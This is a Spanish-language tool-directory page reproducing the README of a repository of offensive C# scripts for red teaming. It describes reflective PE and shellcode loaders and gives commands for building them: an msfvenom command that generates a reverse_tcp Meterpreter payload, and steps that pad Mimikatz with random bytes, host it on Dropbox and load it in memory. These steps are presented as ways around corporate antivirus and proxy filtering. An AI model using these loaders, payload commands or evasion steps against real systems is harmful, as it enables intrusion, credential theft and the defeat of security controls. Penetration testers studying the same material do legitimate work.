Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CSharpScripts — Scripts ofensivos en C# para inyección reflectiva de PE y shellcode, ejecución de payloads en memoria, descifrado de shellcode mediante fuerza bruta XOR y análisis de ensamblados .NET. | Kitploit
Herramientas/GitHubGitHub/arno0x/csharpscripts
Herramientas de Cifrado/DescifradoIngeniería InversaShellcodePost-ExplotaciónAnálisis de MalwarePruebas de PenetraciónRed TeamingDesarrollo de PayloadsExplotación de Binarios
GitHubarno0x/csharpscripts

CSharpScripts

Scripts ofensivos en C# para inyección reflectiva de PE y shellcode, ejecución de payloads en memoria, descifrado de shellcode mediante fuerza bruta XOR y análisis de ensamblados .NET.

34411220hace 9 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Scripts en C#

Autor: Arno0x0x - @Arno0x0x

Este repositorio tiene como objetivo publicar algunos de mis scripts en C#. Algunos son simplemente bifurcaciones o están inspirados en otros scripts que encontré por ahí, y los adapté para que se ajustaran a mis necesidades o simplemente para aprender y mejorar.

Descifrar mediante fuerza bruta (bf), luego cargar y ejecutar, un shellcode cifrado con xor

bfDecryptShellcode.cs

Este script es una PoC un poco tonta y probablemente no muy útil de un descifrado por fuerza bruta de un shellcode cifrado con XOR multibyte. Una vez descifrado el shellcode, se carga en memoria y se ejecuta.

Para usarlo, necesitas dos cosas:

  1. Un shellcode cifrado con XOR multibyte
  2. El hash MD5 del payload descifrado, que sirve como marcador para saber que se ha encontrado la clave de descifrado correcta

Puedes obtener ambos usando mi proyecto ShellcodeWrapper y alimentándolo con cualquier payload raw de metasploit.

Cargar y analizar dinámicamente un ensamblado .Net

parseAssembly.cs

Esta aplicación de consola cargará dinámicamente un ensamblado .Net (exe o dll), ya sea desde un archivo local o descargado desde una URL, opcionalmente codificado en base64. Una vez cargado, enumerará sus tipos, métodos y propiedades. Ejemplos: parseAssembly.exe myAssembly.dll o parseAssembly.exe http://some.site.com/myAssembly base64

Jugando con la inyección reflexiva de PE y Shellcode

Esta es una colección de scripts adaptados del trabajo de Casey Smith (@subTee) sobre la inyección reflexiva de PE o shellcode en el proceso llamador, a partir de diversas fuentes.

peloader.cs

Este script carga un archivo PE x64 codificado en base64 (por ejemplo: Mimikatz o un Meterpreter) en la memoria del proceso y lo ejecuta de forma reflexiva. El PE se pasa como una variable de cadena base64 al principio del archivo (sí, está codificado de forma fija).

Puedes generar esta cadena codificada en base64 a partir de cualquier archivo usando el siguiente comando de línea de comandos de *nix:

root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64

Compilar el script en una máquina Windows requiere el framework .Net (instalado por defecto en Windows 7 en adelante):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs

shellcodelauncher.cs

Este script ejecuta un shellcode en la memoria del proceso y lo ejecuta de forma reflexiva. El shellcode se pasa como un array de bytes en una variable. Puedes obtener el código adecuado para este array generado automáticamente con la utilidad msfvenom de Metasploit. Por ejemplo, para generar un shellcode de reverse_tcp meterpreter:

root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp

Compilar el script en una máquina Windows requiere el framework .Net (instalado por defecto en Windows 7 en adelante):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs

runfromzipinmemory.cs

Este script está basado, inspirado y derivado en gran medida y de forma vergonzosa del trabajo de Casey Smith (@subTee) sobre Netkatz.

Descubrí que el antivirus local (McAfee) en mi estación de trabajo corporativa está configurado para NO analizar el contenido de un archivo ZIP, probablemente bajo la suposición de que, siempre que este contenido vaya a ser leído o ejecutado, normalmente primero se extraería en algún lugar del disco, y cualquier cosa maliciosa en él sería detectada por el AV en ese momento.

Lo que hace este script es cargar todo en memoria y trabajar únicamente desde allí, usando también reflexión para ejecutar un PE desde la memoria del proceso llamador.

Así que no solo el AV no se queja en absoluto, sino que, desde una perspectiva forense, el único "proceso visiblemente en ejecución" parece perfectamente inocente.

Compilar el script en una máquina Windows requiere el framework .Net (instalado por defecto en Windows 7 en adelante):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs

A continuación, puede ejecutar:

unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>

netPEloader.cs

Este script está fuertemente basado e inspirado en el trabajo de Casey Smith (@subTee) sobre Netkatz.

Netkatz es una fantástica PoC para cargar la última versión de mimikatz desde GitHub y ejecutarla directamente en memoria. Sin embargo, me enfrenté a tres problemas en mi entorno:

  1. La conexión a internet debe realizarse a través de un proxy corporativo que requiere autenticación NTLM (Windows SSO está bien)
  2. La página de GitHub de Mimikatz está bloqueada por el proxy corporativo debido a la categorización de sitios web
  3. El archivo mimikatz_trunked.zip es detectado por el AV del proxy (sí, con la inspección SSL activada a nivel del proxy)

Así que modifiqué el script netkatz original para abordar estos 3 problemas:

  1. Añadí soporte para el proxy del sistema y las credenciales predeterminadas (el usuario de Windows actualmente conectado)
  2. Alojar el PE en un sitio web no bloqueado, de aspecto inocente como www.dropbox.com
  3. En cuanto a hacer el PE indetectable por el AV, podríamos recurrir a varios métodos de ofuscación como el cifrado, codificación específica, pero me gusta la técnica simple de añadir 65536 bytes de basura aleatoria al principio del PE real de Mimikatz x64:
    • dd if=/dev/urandom of=garbage bs=65536 count=1
    • cat garbage mimikatz.exe > mimiHidden
    • Subir mimiHidden a dropbox y compartirlo

La URL desde la cual descargar el PE oculto está codificada de forma fija en el script.

Compilar el script en una máquina Windows requiere el framework .Net (instalado por defecto en Windows 7 en adelante):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs
Descargar herramienta